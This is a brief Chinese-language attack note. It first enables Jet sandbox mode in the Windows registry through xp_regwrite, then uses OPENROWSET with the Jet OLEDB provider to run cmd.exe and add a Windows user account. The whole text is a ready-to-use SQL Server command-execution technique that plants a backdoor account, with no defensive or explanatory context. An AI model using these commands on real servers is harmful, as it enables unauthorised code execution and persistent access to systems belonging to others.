首先开启沙盘模式：
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user cnfjhh fst /add")')